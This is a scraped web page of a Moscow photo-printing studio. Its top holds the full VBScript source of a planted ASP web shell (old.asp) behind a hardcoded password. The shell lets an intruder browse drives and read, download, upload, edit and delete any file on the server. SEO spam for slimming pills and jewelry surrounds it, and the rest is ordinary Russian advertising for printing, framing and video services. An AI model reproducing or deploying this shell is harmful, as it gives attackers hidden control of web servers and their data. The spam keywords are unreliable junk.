meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....  
<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("		") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр - Цифровая печать фотографий, Оптическая печать, Проявка плёнок, Плоттерная-печать, Сканирование, Обработка изображений, Багетные работы, Оцифровка видео, Видеомонтаж, Фотосъемка, Школьная программа, Ламинирование, печать фото.
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.





ВНИМАНИЕ!!!

теперь АРТФОТОЦЕНТР
не работает по субботам и
воскресеньям, а точнее...

12, 13, 19, 20, 26, 27 июня
выходные дни

 

Оцифровка видео с любых носителей
(перезапись) - от 400руб за час.
Видеомонтаж: разработка фильма, удаление ненужных сцен, наложение музыкального сопровождения, титры, меню с выбором эпизодов.
Слайд-шоу: музыкальное фото слайд-шоу из ваших фотографий, слайдов и негативов. подробнее >>>

  



Предъявите купон в распечатанном или
электронном виде и получите скидку 5%
на все виды услуг Скачать купон

Оперативная печать фотографий: Цифровая печать, плоттерная печать, струйная фотопечать.
Сканирование и обработка фото: Реставрация, ретушь, виньетки,запись на любые носители.
Фотосъёмка в собственной студии, портфолио моделям и актёрам, фотосъёмка для рекламы, проекты любой сложности.
Оцифровка видео с любых носителей и киноплёнок 8мм, Видеомонтаж, Коррекция видеоряда, Создание фильма из Ваших видео записей, Слайд-шоу из фото, Титры, эффекты.
Аренда фотостудии
Багетная мастерская, рамки (более 500 видов багета), Оформление работ в багет, оформление для выставок, индивидуальные проекты.


Плоттерная печать.

Плоттерная печать широко применяется в наружной рекламе. Широкоформатная плоттерная фотопечать на сегодняшний день, это пожалуй один из самых востребованных видов рекламы, играющих ключевую роль в проведении успешной рекламной компании. Также плоттерная печать применяется в печати больших форматов фотографий, с высоким разрешением и цветопередачей.
 
•   Широкоформатная печать фотографического качества для интерьера.
•   Широкоформатная печать высокого разрешения.
•   Печать на фотобумаге, холсте.
•   Фотографии, фотопанели, плакаты, постеры, афиши.
•   Широкоформатная печать на бумаге, холсте, самоклеящейся пленке.

подробнее >>>
 
Багетная мастерская и Финишная обработка изображений.

Здесь хорошие работы получают достойную оправу. На выбор заказчика предлагается более 1000 видов багета.

Натяжка холстов на подрамник, обработка художественным лаком, оформление вышивок, икон, фотографий, папирусов, дипломов.
Накатка изображений на различные основы (пенокартон, пластик пвх, мдф). Оформление работ в рамы из пластикового, деревянного и алюминиевого багета европейского производства (более 1000 видов).

Изготовление выставочных клипов с использованием различных сочетаний материалов: стекло, пластик, паспарту (многооконное, прозрачное, бархатное, эконом и многое другое) 
Широкоформатное, холодное и горячее, одно- и двухстороннее, матовое и глянцевое ламинирование изображений на различных основах. Брошюровка рукописей, рефератов, сценариев, календарей, фотографий и пр., пластиковыми и металлическими пружинами.
Изготовление фотокнижки: разработка дизайна, печать, монтаж и ламинирование листов, изготовление твердой обложки, брошюровка.

подробнее >>>
 
Сделайте динамичный фильм из своего видео и фотографий.

Вот и настала пора отпусков и дачного сезона, а это значит новые видеосъёмки и фотографии. Как всегда мы берём видеокамеру и снимаем интересные события нашей жизни, детей, праздники, дачные посиделки, отпуска. Новые места, новые приключения! Мир богат красками и архитектурой, чарующие морские прибои и накат волны.  
Сделайте из своего видео динамичный фильм.

Наша студия предлагает услуги по профессиональному видеомонтажу домашнего видео. Мы сделаем качественный фильм и слайд-шоу из вашего видео, оформим красочную обложку и упакуем в DVD-бокс. В вашем архиве будет красивый и динамичный фильм с вашим участием.
Доступные цены, монтаж любой сложности, титры, салют, переходы, художественный монтаж. 
Доверьте свое видео профессионалам.

подробнее >>>
 

 


(495) 916-22-82
(495) 916-18-97

АртФотоЦентр: Покровский бульвар, дом 1.

© 2012 «АртФотоЦентр»
Перепечатка текстовых материалов допускается только с обязательной
ссылкой на источник — http://www.artfotocenter.ru

Аренда фотостуди Фотостудия в аренду Фотостудия
http://ostudios.ru/  - Фотостудия .QuattroFashion

Оцифровка, Видеосъёмка, Слайд-шоу, Разработка фильма, Видеомонтаж,
http://www.media-cinema.ru/  Видеопроизводство MEDIA-CINEMA.

Все представленные фотографии — собственность авторов. Разработка сайта StudioDP.
   


pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace